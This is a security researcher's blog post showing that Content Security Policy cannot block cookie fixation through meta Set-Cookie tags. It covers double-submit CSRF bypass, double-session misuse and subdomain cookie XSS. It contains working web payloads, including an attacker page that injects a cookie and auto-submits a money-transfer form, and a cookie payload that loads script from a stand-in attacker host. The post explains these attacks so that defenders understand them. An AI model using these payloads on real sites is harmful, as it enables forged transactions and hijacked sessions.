TL;DR: CSP can’t block <meta http-equiv="Set-Cookie" content="a=b"> . An XSS vulnerability on a page with CSP can still be source for attacks that are based on writing cookies. Let’s take a look at some examples of cookie fixation issues.

Double-submit cookie example

Double-submit cookie is a technique some applications and frameworks use to deal with CSRF. It means that all forms must contain a token that is also set in a cookie. If the token sent in the form is not the same as the token in the cookie, the request is discarded. This technique is recommended by OWASP as an alternative to session-based tokens.

In pseudo-code it might look something like this:

//User sent the form if(isset($_POST['submit'])){ if($_POST['token'] == $_COOKIE['token']){ //Accept the form }else{ echo "CSRF ATTACK DETECTED"; exit(); } }

Without CSP, if the application is vulnerable to XSS, the attacker could use script to fill and submit whichever form they would like to attack:

<script> document.getElementById('sendmoneyto').value = 'Mathias'; document.getElementById('form').submit(); </script>

With CSP, we can avoid this (by using nonce or restricting inline scripts). However, an attacker can use the following payload to achieve the same thing:

<meta http-equiv="Set-Cookie" content="token=NotSoSecretAnyMore">

And on the attacker’s site:

<script> function submitForm(){ document.forms[0].submit(); } </script> <iframe src='http://targetapplication/vulnerabletoxss?parameter=<meta http-equiv="Set-Cookie" content="token=NotSoSecretAnyMore">' onload="submitForm()"></iframe> <form action="http://targetapplication/targetform" method="POST"> <input type="hidden" name="token" value="NotSoSecretAnyMore" /> <input type="hidden" name="sendmoneyto" value="Mathias" /> </form>

Because the attacker overwrites the token, they can use the new token in the form on their page and the CSRF protection is bypassed.

Double session example

It’s not rare to see applications using multiple session cookies. For example when the main application has one and the “under-application” has another.

If an attacker can fixate cookies, they could make the victim use the attacker’s session cookie in the main application. This would make the victim logged in as the attacker in the main application and as the victim in the under-application.

If the application fetches shipping data from the main application, the products the victim buys in the under-application would be sent to the attacker’s address.

Subdomain cookie XSS example

If there is a cookie XSS vulnerability on a subdomain, an attacker could use cookie fixation to set the XSS cookie, then redirect to the vulnerable page:

<meta http-equiv="Set-Cookie" content="vulnerableCookie=<script src=//attackers/page.js>"> <meta http-equiv="refresh" content="0;URL=http://othersubdomain.vulnerable/page_vulnerable_to_cookie_xss">

Conclusion

A couple of different issues can arise from cookie fixation, and even though many client-side vulnerabilities can be mitigated by CSP, this cannot. When developing an application that uses CSP and cookies, be wary of these kinds of attacks.

Author:

Mathias Karlsson

Security Researcher

@avlidienbrunn